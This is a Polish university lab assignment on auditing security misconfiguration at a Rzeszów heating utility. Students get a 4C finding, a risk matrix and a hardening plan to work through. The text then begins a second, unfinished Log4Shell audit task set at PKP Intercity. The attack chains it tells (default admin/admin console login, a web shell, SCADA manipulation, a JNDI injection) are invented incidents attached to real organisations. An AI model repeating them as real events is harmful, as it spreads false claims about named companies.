Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce rygorystycznego audytu błędnej konfiguracji zabezpieczeń (kategoria OWASP Top 10:2021 - A05:2021 Security Misconfiguration) w infrastrukturze teleinformatycznej przedsiębiorstwa ciepłowniczego o statusie Operatora Usługi Kluczowej (OUK) w rozumieniu Ustawy o KSC oraz Podmiotu Kluczowego w myśl Dyrektywy NIS2. Audyt obejmuje zintegrowany portal obsługi klientów 'e-BOK' połączony przez korporacyjną szynę danych (ESB) z bramą webową telemetrii i dyspozycji mocy sieci ciepłowniczej (Web-HMI / SCADA). W toku badania ujawniono szereg rażących podatności konfiguracyjnych: aktywną konsolę administracyjną serwera aplikacji WildFly z domyślnymi poświadczeniami ('admin'/'admin') wystawioną bezpośrednio do publicznej sieci Internet, włączony tryb debugowania (Stack Traces ujawniające wewnętrzne adresy IP sieci przemysłowej OT oraz hasła do bazy danych telemetrii), skrajnie permisywną politykę Cross-Origin Resource Sharing (CORS: nagłówek `Access-Control-Allow-Origin: *` w połączeniu z `Access-Control-Allow-Credentials: true`) oraz całkowity brak nagłówków ochronnych (Content-Security-Policy, X-Frame-Options, HSTS). Intruzi, wykorzystując przejętą konsolę serwera, uzyskali dostęp do strefy sterowania przemysłowego (Purdue Model Poziom 3) i podjęli próbę zdalnego przestawienia parametrów hydraulicznych i zaworów mieszających głównej magistrali ciepłowniczej miasta w warunkach fali mrozów (-18 stopni Celsjusza). Zadanie wymaga dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją CVSS v3.1 (9.4 Critical) oraz parametrami ciągłości działania BCM (RTO=15m, RPO=0s, MTPD=45m), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI/KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) definiującego twarde wytyczne utwardzania (Hardening Standard) wg CIS Benchmark i normy PN-EN IEC 62443 oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Zarządu MPEC i Wojewódzkiego Zespołu Zarządzania Kryzysowego.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana znajomość rygorów bezpieczeństwa infrastruktury krytycznej, przepisów Ustawy o krajowym systemie cyberbezpieczeństwa (KSC), Dyrektywy NIS2 (art. 21), Prawa energetycznego oraz odpowiedzialności karnej z art. 160 KK (sprowadzenie niebezpieczeństwa powszechnego dla życia i zdrowia mieszkańców miasta).
  • W2W3 Rygorystyczna korelacja wymagań normy PN-EN IEC 62443 (części 3-3 i 4-2 dotyczące bezpieczeństwa systemów automatyki i interfejsów HMI), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.9 Zarządzanie konfiguracją, A.8.20 Bezpieczeństwo sieci, A.8.22 Segregacja w sieciach), standardu OWASP ASVS v4.0.3 L3 (Sekcja V14 Konfiguracja Bezpieczeństwa) oraz zaleceń CIS Benchmarks dla serwerów WWW.
  • U1 Opracowanie zaleceń inżynierskich utwardzania serwerów aplikacji WWW, automatyzacji nadzoru konfiguracyjnego (Configuration-as-Code z Ansible/Terraform), wdrożenia restrykcyjnych polityk CSP, izolacji stref sieciowych IT/OT za pomocą diody danych i zapór przemysłowych nowej generacji (NGFW).
  • U2 Bezbłędna kwalifikacja uchybienia konfiguracyjnego w modelu 4C z precyzyjnym powołaniem norm i ustaw.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów paraliżu miejskiej sieci ciepłowniczej, zamarznięcia instalacji w szpitalach i wycieku bazy klientów (IR=25, CVSS=9.4, korelacja z BCM).
  • U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Profesjonalizm audytorski, bezkompromisowość w ochronie bezpieczeństwa mieszkańców, wysoka odporność na stres w warunkach zagrożenia kryzysowego i etyka inżynierska.
  • Powiązanie z wykładem: Wyk1 (Audyt w infrastrukturze krytycznej i OUK), Wyk3 (Kontrole A.8.9 i A.8.20 ISO 27001), Wyk4 (KSC, NIS2 i IEC 62443), Wyk5 (Matryca ryzyka 5x5 i parametry BCM), Wyk6 (Inspekcja konfiguracji serwerów WWW i SCADA Web), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

Miejskie Przedsiębiorstwo Energetyki Cieplnej w Rzeszowie zaopatruje w ciepło systemowe i ciepłą wodę użytkową ponad 190 000 mieszkańców miasta, w tym 4 szpitale kliniczne, jednostki wojskowe, zakłady przemysłowe oraz ponad 1 200 budynków wielorodzinnych. W ramach programu cyfryzacji usług MPEC uruchomił portal klienta 'e-BOK', który umożliwia odbiorcom podgląd faktur, zgłaszanie awarii oraz odczyt telemetrii z węzłów cieplnych w czasie rzeczywistym.

Stan faktyczny w obszarze konfiguracji bezpieczeństwa i incydentu przemysłowego:

  • W architekturze systemu portal e-BOK został wdrożony na serwerze aplikacji WildFly (JBoss) w środowisku Linux. W celu ułatwienia pracy zdalnej zewnętrznemu wykonawcy, konsola administracyjna WildFly Management Console (`https://ebok.mpec.rzeszow.pl:9990`) została wystawiona bezpośrednio do sieci Internet bez ograniczeń adresacji IP, z zachowaniem domyślnego konta administracyjnego `admin` i hasła `admin`.
  • W plikach konfiguracyjnych serwera (`standalone.xml`) parametr `development-mode` był ustawiony na `true`. W efekcie jakiekolwiek błędne zapytanie HTTP generowało szczegółowy zrzut stosu (Java Stack Trace) ujawniający wersje bibliotek, ścieżki systemowe, wewnętrzne adresy IP podsieci dyspozytorni SCADA (`10.150.4.0/24`) oraz jawny ciąg połączeniowy JDBC zawierający login i hasło do bazy danych telemetrii ciepłowniczej.
  • Konfiguracja nagłówków odpowiedzi HTTP serwera NGINX (pełniącego rolę Reverse Proxy) zawierała nagłówek CORS: `Access-Control-Allow-Origin: *` z jednoczesnym ustawieniem `Access-Control-Allow-Credentials: true` (konfiguracja rażąco błędna i niebezpieczna). Ponadto całkowicie pominięto wdrożenie nagłówków bezpieczeństwa: Content-Security-Policy (CSP), Strict-Transport-Security (HSTS), X-Frame-Options (podatność na Clickjacking) oraz Permissions-Policy.
  • W trakcie fali mrozów (-18 stopni Celsjusza w nocy) intruzi, wykorzystując skanery Shodan/Censys, zidentyfikowali otwartą konsolę WildFly, zalogowali się domyślnymi poświadczeniami i wdrożyli złośliwą aplikację w formacie `.war` (Web Shell), uzyskując uprawnienia użytkownika `root` w systemie operacyjnym.
  • Następnie, wykorzystując pozyskane poświadczenia JDBC i dostęp sieciowy, intruzi połączyli się z bramą webową Web-HMI dyspozytorni mocy i rozpoczęli manipulację parametrami pracy stacji wymienników ciepła, wymuszając skokowy wzrost ciśnienia w magistrali przesyłowej i awaryjne odcięcie dostaw ciepła dla dwóch dzielnic mieszkaniowych (40 000 mieszkańców i Szpital Wojewódzki). Przedsiębiorstwo stanęło w obliczu katastrofy komunalnej, zamarznięcia instalacji grzewczych oraz konieczności ewakuacji pacjentów szpitala. Awaria została powstrzymana w ostatniej chwili poprzez ręczne odcięcie zasilania serwerów przez dyżurnego inżyniera dyspozytorni.

Prezes Zarządu MPEC oraz Prezydent Miasta, powiadamiając Rządowe Centrum Bezpieczeństwa (RCB) i CSIRT NASK, powołują Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Zgodność z KSC i Ochrona Infrastruktury Krytycznej): Odpowiada za ład prawno-regulacyjny, zgodność z Ustawą o KSC, Dyrektywą NIS2, normą PN-EN IEC 62443, procedurami reagowania kryzysowego RCB, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Zarządu i Prezydenta Miasta.

    Student B (Technical SecOps Auditor / Architekt Bezpieczeństwa Serwerów i SCADA): Dokonuje dekonstrukcji błędnej konfiguracji WildFly, bada nagłówki HTTP, podatności CORS, zrzuty stosu, projektuje twarde reguły Hardeningu serwerów WWW/Reverse Proxy wg CIS Benchmark, politykę CSP, separację stref Purdue Model za pomocą zapór NGFW oraz wdrożenie Configuration-as-Code z Ansible.

    Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.4 Critical) i BCM (RTO=15m, RPO=0s, MTPD=45m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

Wystawienie konsoli WildFly z domyślnym hasłem admin/admin do sieci Internet, włączony tryb debugowania ujawniający poświadczenia bazy danych SCADA, skrajnie permisywny CORS oraz brak nagłówków bezpieczeństwa, co doprowadziło do przejęcia kontroli nad węzłem dyspozycji mocy i próby wywołania katastrofy w dostawie ciepła dla 40 000 mieszkańców.

2. Criteria (Kryterium)

Naruszenie kontroli ISO/IEC 27001:2022 A.8.9 (Zarządzanie konfiguracją), A.8.20 (Bezpieczeństwo sieci), A.8.22 (Segregacja w sieciach), wymogów normy PN-EN IEC 62443-3-3 (Wymagania systemowe bezpieczeństwa stref OT), standardu OWASP ASVS v4.0.3 L3 (Sekcja V14 Configuration), art. 8, 9 i 10 Ustawy o KSC, art. 21 Dyrektywy NIS2 oraz art. 160 Kodeksu Karnego.

3. Cause (Przyczyna źródłowa – 5 Why)
  1. Dlaczego intruzi przejęli serwer aplikacji? (Zalogowali się do konsoli administracyjnej domyślnymi danymi logowania).
  2. Dlaczego konsola miała domyślne hasło i była dostępna w Internecie? (Zewnętrzny integrator IT otworzył port 9990 w celach wdrożeniowych i nie zmienił hasła po instalacji).
  3. Dlaczego administratorzy MPEC nie zweryfikowali konfiguracji przed uruchomieniem produkcyjnym? (Brak formalnej procedury audytu konfiguracyjnego przed oddaniem systemu do eksploatacji).
  4. Dlaczego portal e-BOK miał bezpośredni dostęp do sieci SCADA? (Połączono sieci IT i OT na poziomie warstwy 3 bez segmentacji stref DMZ i inspekcji przemysłowej NGFW).

Przyczyna źródłowa: Całkowity brak ładu zarządzania konfiguracją bezpieczeństwa (Hardening Governance), brak sformalizowanych standardów architektonicznych wg IEC 62443 oraz brak nadzoru nad zewnętrznymi dostawcami usług IT w infrastrukturze krytycznej.

4. Consequence (Skutki)

Bezpośrednie zagrożenie życia i zdrowia pacjentów szpitala oraz mieszkańców miasta w warunkach fali mrozów (art. 160 KK), katastrofalne straty materialne z powodu rozsadzenia magistrali ciepłowniczej (szacowane na 25 mln PLN), sankcje finansowe z Ustawy o KSC i Dyrektywy NIS2 do 10 mln EUR lub 2% obrotu, odpowiedzialność cywilna i odszkodowawcza oraz utrata zaufania publicznego.

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego intruzi przejęli serwer aplikacji? (Zalogowali się do konsoli administracyjnej domyślnymi danymi logowania).
  2. 2
    Dlaczego konsola miała domyślne hasło i była dostępna w Internecie? (Zewnętrzny integrator IT otworzył port 9990 w celach wdrożeniowych i nie zmienił hasła po instalacji).
  3. 3
    Dlaczego administratorzy MPEC nie zweryfikowali konfiguracji przed uruchomieniem produkcyjnym? (Brak formalnej procedury audytu konfiguracyjnego przed oddaniem systemu do eksploatacji).
  4. 4
    Dlaczego portal e-BOK miał bezpośredni dostęp do sieci SCADA? (Połączono sieci IT i OT na poziomie warstwy 3 bez segmentacji stref DMZ i inspekcji przemysłowej NGFW).
  5. root
    Przyczyna źródłowa: Całkowity brak ładu zarządzania konfiguracją bezpieczeństwa (Hardening Governance), brak sformalizowanych standardów architektonicznych wg IEC 62443 oraz brak nadzoru nad zewnętrznymi dostawcami usług IT w infrastrukturze krytycznej.
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Przejęcie sterowania siecią ciepłowniczą przez publicznie dostępną konsolę serwera aplikacji ( 5 5 25/25 – Ryzyko Ekstremalne 1 4 4/25 – Ryzyko Akceptowalne
Wyciek wrażliwych danych sieci OT przez tryb debugowania i zrzuty stosu ( 5 4 20/25 1 3 3/25
Ataki Cross-Site Scripting (XSS) i kradzież sesji przez brak nagłówków CSP i błędy CORS ( 4 4 16/25 1 3 3/25
Kradzież tożsamości odbiorców ciepła z bazy e-BOK przez brak separacji środowisk ( 5 4 20/25 1 3 3/25
ParametrWartość docelowa
rto15 min dla przywrócenia kontroli nad parametrami sieci ciepłowniczej
rpo0 sekund (ochrona nienaruszalności telemetrii i nastaw zaworów)
mtpd45 minut (krytyczny czas, po którym następuje wychłodzenie budynków i zamarzanie instalacji)
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniNatychmiastowe fizyczne i logiczne zablokowanie dostępu do portu 9990 z sieci Internet (dostęp wyłącznie przez dedykowany VPN z MFA i filtrowaniem IP), zmiana wszystkich haseł administracyjnych na losowe 32-znakowe ciągi, bezwzględne wyłączenie trybu debugowania na serwerze WildFly, wdrożenie reguł tymczasowych na firewallu blokujących ruch z e-BOK do strefy SCADAA - Prezes Zarządu MPEC, R - Główny Inżynier Bezpieczeństwa / CISOPort 9990 niewidoczny w skanerach zewnętrznychLiczba prób logowania do konsoli = 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniPełne wdrożenie zaleceń CIS Benchmark dla serwerów NGINX i WildFly - konfiguracja nagłówków bezpieczeństwa (Content-Security-Policy: `default-src 'self'`, Strict-Transport-Security: `max-age=31536000; includeSubDomains; preload`, X-Frame-Options: `DENY`, X-Content-Type-Options: `nosniff`), naprawa polityki CORS do ścisłej białej listy dozwolonych subdomen urzędu; wdrożenie zapory przemysłowej NGFW (Fortinet/Palo Alto) z głęboką inspekcją protokołów SCADA (Modbus TCP, IEC 60870-5-104) pomiędzy strefą IT (e-BOK) a strefą OT (dyspozytornia)A - Dyrektor ds. Technicznych, R - Architekt Sieci i Systemów100% nagłówków bezpieczeństwa aktywnychLiczba zapytań CORS spoza białej listy = 0
3 – Działania systemowe i ład korporacyjny90 dniWdrożenie automatyzacji zarządzania konfiguracją w modelu Configuration-as-Code z wykorzystaniem skryptów Ansible zintegrowanych z potokiem CI/CD; wdrożenie zautomatyzowanego skanera audytu konfiguracji OpenSCAP weryfikującego stan utwardzenia serwerów co 24 godziny; formalna certyfikacja architektury IT/OT na zgodność z normą PN-EN IEC 62443; powołanie stałego Centrum Operacji Bezpieczeństwa (SOC) dla sieci ciepłowniczejA - Zarząd MPEC, R - CISO / Audytor ZewnętrznyWskaźnik zgodności z CIS Benchmark >= 95%Liczba nieautoryzowanych zmian w konfiguracji = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Konfiguracji Bezpieczeństwa (Hardening Standard) Serwerów Aplikacyjnych i Bramek Telemetrii MPEC w Rzeszowie" z numerowanymi artykułami:

    • § 1 Cel i zakres standardu (ochrona ciągłości dostaw ciepła i zgodność z KSC/NIS2).
    • § 2 Zasady publikacji interfejsów administracyjnych (zakaz wystawiania konsoli do Internetu, wymóg VPN i MFA).
    • § 3 Obligatoryjne nagłówki bezpieczeństwa HTTP i polityka CORS (parametry CSP, HSTS, X-Frame-Options).
    • § 4 Zakaz pracy w trybie diagnostycznym (bezwzględna blokada debug mode na środowiskach produkcyjnych).
    • § 5 Zasady separacji stref IT i OT wg modelu Purdue i normy IEC 62443.
    • § 6 Procedura cyklicznego audytu konfiguracyjnego narzędziami OpenSCAP i odpowiedzialność dyscyplinarna.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Zarządu MPEC i Prezydenta Miasta: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), zażegnanie groźby paraliżu grzewczego miasta, wyeliminowanie ryzyka sankcji z KSC/NIS2 (do 10 mln EUR) oraz odpowiedzialności karnej z art. 160 KK, kosztorys CAP (340 000 PLN na NGFW, Ansible i wdrożenie SOC) oraz stopa zwrotu z inwestycji (ROSI: ochrona infrastruktury wartej setki milionów złotych).

Plan referatu studenckiego (15 minut) i obrona ustna

Plan obrony seminaryjnej przed komisją laboratoryjną (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu i Prezydenta (3 min): Przedstawienie skali incydentu na magistrali ciepłowniczej, ekspozycji na katastrofę komunalną i kary regulacyjne oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
  • Dekonstrukcja techniczna podatności konfiguracyjnych serwera i SCADA (4 min): Prezentacja konsoli WildFly, analiza zrzutów stosu z ujawnionymi hasłami JDBC, demonstracja błędów nagłówków CORS i braków CSP oraz wektora przejęcia sterowania węzłem (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z KSC, Dyrektywą NIS2, normą IEC 62443 i art. 160 KK oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie wytycznych CIS Benchmark, zapory przemysłowej NGFW, automatyzacji Ansible i skanera OpenSCAP (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania dotyczące specyfiki separacji IT/OT i kompromisów operacyjnych (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Syntetyczny bilans ryzyk konfiguracyjnych w infrastrukturze krytycznej (IR vs RR).
  • Skutki prawne i operacyjne incydentu na sieci ciepłowniczej.
  • Budżet Planu CAP (340 000 PLN) vs ROSI.

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

  • W jaki sposób błędna konfiguracja nagłówków CORS (np. zezwolenie na dowolne źródła pochodzenia przy jednoczesnym włączeniu przesyłania poświadczeń) umożliwia przeprowadzenie zaawansowanych ataków typu Cross-Origin Data Theft w systemach przemysłowych i e-administracji?
  • Jakie są kluczowe wymagania normy PN-EN IEC 62443 dotyczące separacji stref (Zones and Conduits) pomiędzy publicznie dostępnymi portalami internetowymi (IT) a sterownikami PLC i dyspozytorniami Web-HMI (OT)?
  • W jaki sposób technologia Configuration-as-Code (narzędzia Ansible, Terraform) w połączeniu ze skanerami OpenSCAP zapobiega zjawisku degradacji konfiguracji bezpieczeństwa (Configuration Drift) w środowiskach o wysokim reżimie dostępności?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.4).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Konfiguracji Bezpieczeństwa (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (bezpieczeństwo vs elastyczność operacyjna serwisantów w warunkach awarii zimowych).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A05:2021 Security Misconfiguration.
  • OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V14 Configuration Verification Requirements.
  • Norma PN-EN IEC 62443-3-3:2019: Bezpieczeństwo systemów automatyki i sterowania przemysłowego - Wymagania systemowe bezpieczeństwa i poziomy bezpieczeństwa.
  • Center for Internet Security (CIS): "CIS Benchmarks for NGINX and Linux Server Hardening", 2023.
  • Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczeństwa (Dz.U. z 2023 r. poz. 913 z późn. zm.).
  • Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21.
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.9 (Zarządzanie konfiguracją), A.8.20 (Bezpieczeństwo sieci), A.8.22 (Segregacja w sieciach).
  • Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 160 (Narażenie na niebezpieczeństwo utraty życia lub ciężkiego uszczerbku na zdrowiu).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Bezbłędna dekompozycja uchybień konfiguracyjnych w modelu 4C i przeprowadzenie analizy 5 Why w infrastrukturze krytycznej.
  • U1 Projekt zintegrowanego standardu utwardzania serwerów (Hardening), automatyzacji Ansible i separacji IT/OT wg IEC 62443.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
  • W1W2W3 Wyczerpująca znajomość ustawy o KSC, Dyrektywy NIS2, normy IEC 62443, normy ISO 27001 i zaleceń CIS Benchmarks.
  • K1K2K3 Obiektywizm, niezależność audytorska, dbałość o bezpieczeństwo publiczne i wysoka kultura inżynierska.
Wskazówki do przygotowania i obrony referatu

Podczas obrony referatu przedstawcie komisji architekturę modelu Purdue przed audytem (błędne połączenie IT z OT) oraz po wdrożeniu Planu CAP z zastosowaniem zapory przemysłowej NGFW i strefy DMZ. Wykażcie, że usunięcie domyślnych haseł i wyłączenie trybu debugowania to elementarna higiena cyfrowa, która zapobiega wielomilionowym katastrofom.

06
PKP Intercity S.A. i centralny system sprzedaży biletów e-Ic (sektor transportu kolejowego / infrastruktura krytyczna / KSC / NIS2 / CER)
Zwiń

Temat: Strategiczny Audyt Zarządzania Podatnymi Komponentami i Łańcuchem Dostaw Oprogramowania (A06:2021 - Vulnerable and Outdated Components: LOG4SHELL, SPRING4SHELL, SBOM CycloneDX): Zbieżność KSC, NIS2, CER, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

PKP Intercity S.A. – Centralny System Sprzedaży Biletów e-IC(KSC / NIS2 / CER)Audyt A06:2021 Vulnerable and Outdated Components (formuła 90 min)1Log4ShellCVE-2021-44228 iSpring4ShellCVE-2022-22965 wserwisie PDF2RCE przez nagłówekUser-Agent, przejęciekontenera, backdoor ikoparka3Paraliż sprzedażyprzed weekendemmajowym (IR=25, CVSS10.0)4SBOM CycloneDX +bramki SCA Snyk/Trivy+ SLSA Level 3 + CAPSchemat strategicznego audytu podatnych komponentów i łańcucha dostaw oprogramowania w systemie biletowymPKP: analiza luk Log4Shell i Spring4Shell, format SBOM CycloneDX, standard SLSA, model 4C, matryca ryzyka
Schemat strategicznego audytu podatnych komponentów i łańcucha dostaw oprogramowania w systemie biletowym PKP: analiza luk Log4Shell i Spring4Shell, format SBOM CycloneDX, standard SLSA, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Cel zadania i powiązanie z efektami kształcenia

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce zaawansowanego audytu zarządzania podatnymi i przestarzałymi komponentami oprogramowania oraz bezpieczeństwa łańcucha dostaw oprogramowania (kategoria OWASP Top 10:2021 - A06:2021 Vulnerable and Outdated Components) w ogólnopolskim systemie sprzedaży i rezerwacji biletów kolejowych 'e-IC 2.0'. Podmiot stanowi element infrastruktury krytycznej państwa oraz operatora usług kluczowych w rozumieniu Ustawy o KSC, Dyrektywy NIS2 oraz Dyrektywy CER (odporność podmiotów krytycznych). Audyt koncentruje się na mikroserwisie generowania biletów elektronicznych i faktur PDF, w którym zidentyfikowano obecność niezałatanych, powszechnie znanych podatności zdalnego wykonania kodu (Remote Code Execution - RCE): luki Log4Shell (CVE-2021-44228 w bibliotece Apache Log4j) oraz luki Spring4Shell (CVE-2022-22965 w module Spring Core). Wykorzystując wstrzyknięcie payloadu JNDI LDAP w polu nagłówka HTTP `User-Agent` aplikacji mobilnej, intruzi zdołali wykonać nieautoryzowany kod na serwerach aplikacyjnych w klastrze Kubernetes, uzyskać dostęp do bazy danych transakcji pasażerskich, zainstalować oprogramowanie typu Cryptominer oraz backdoory sieciowe, co wywołało przeciążenie zasobów procesora i paraliż sprzedaży biletów na 3 dni przed długim weekendem majowym. W toku audytu stwierdzono całkowity brak ewidencji bibliotek open source (brak formatu Software Bill of Materials - SBOM) oraz brak skanerów SCA w potokach wdrożeniowych. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 skorelowanej ze wskaźnikami CVSS v3.1 (10.0 Critical) oraz BCM (RTO=10m, RPO=0s, MTPD=30m), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy zarządzania SBOM CycloneDX, skanowania SCA/DAST i automatyzacji bramek w potoku CI/CD wg frameworku SLSA Level 3 oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Zarządu PKP Intercity i Urzędu Transportu Kolejowego (UTK).

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana znajomość rygorów bezpieczeństwa transportu kolejowego, przepisów Ustawy o KSC, Dyrektywy NIS2 (art. 21 ust. 2 lit. d - bezpieczeństwo łańcucha dostaw), Dyrektywy CER, Cyber Resilience Act (CRA) oraz odpowiedzialności odszkodowawczej za paraliż transportu publicznego.
  • W2W3 Biegłość w stosowaniu standardów OWASP Top 10:2021 (A06), OWASP ASVS v4.0.3 L3 (Sekcja V13 Komponenty Zewnętrzne), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.8 Zarządzanie podatnościami technicznymi, A.5.19-A.5.21 Bezpieczeństwo w łańcuchu dostaw ICT), formatu SBOM CycloneDX oraz frameworku Supply-chain Levels for Software Artifacts (SLSA v1.0).
  • U1 Opracowanie zaleceń inżynierskich zautomatyzowanego generowania SBOM, integracji narzędzi Software Composition Analysis (Snyk/Trivy/Dependabot) w potoku GitLab CI/CD, podpisywania kontenerów za pomocą Cosign/Sigstore oraz bezwzględnego egzekwowania SLA na łatanie luk (krytyczne < 24h).
  • U2 Bezbłędna kwalifikacja uchybienia łańcucha dostaw w modelu 4C z precyzyjnym wskazaniem kryteriów normatywnych i prawnych.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów przejęcia serwerów biletowych RCE, kradzieży danych kartowych i paraliżu transportowego (IR=25, CVSS=10.0, korelacja z BCM).
  • U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Profesjonalizm audytorski, niezależność w relacjach z dostawcami oprogramowania, odporność na presję zarządu i wysoka kultura inżynierska.
  • Powiązanie z wykładem: Wyk1 (Audyt w transporcie i infrastrukturze krytycznej), Wyk3 (Kontrole A.8.8 i A.5.19-A.5.21 ISO 27001), Wyk4 (NIS2, CER i Cyber Resilience Act), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Inspekcja bibliotek, logów JNDI i potoków CI/CD), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

PKP Intercity S.A. jest narodowym przewoźnikiem pasażerskim realizującym rocznie ponad 68 milionów podróży dalekobieżnych. Kluczowym kanałem przychodowym spółki jest system internetowej sprzedaży biletów 'e-IC 2.0' oraz powiązana aplikacja mobilna, które w okresach szczytowych procesują ponad 180 transakcji na sekundę i generują ponad 2,8 mld PLN wpływów rocznie.

Stan faktyczny w obszarze zarządzania komponentami zewnętrznymi i incydentu RCE:

  • Architektura systemu e-IC 2.0 opiera się na mikrousługach uruchomionych w środowisku Kubernetes (klaster Red Hat OpenShift). Wśród nich mikroserwis `ticket-generator-service` odpowiada za asynchroniczne tworzenie biletów z kodami Aztec w formacie PDF oraz wystawianie faktur VAT.
  • W trakcie analizy zależności w plikach `pom.xml` mikroserwisu audytorzy stwierdzili obecność archiwalnej wersji biblioteki logowania `org.apache.logging.log4j:log4j-core:2.14.1` (podatnej na krytyczną lukę Log4Shell - CVE-2021-44228) oraz modułu `spring-beans:5.3.17` (podatnego na Spring4Shell - CVE-2022-22965). Obie luki posiadały maksymalną notę zagrożenia CVSS 10.0 i były powszechnie znane od ponad 2 lat.
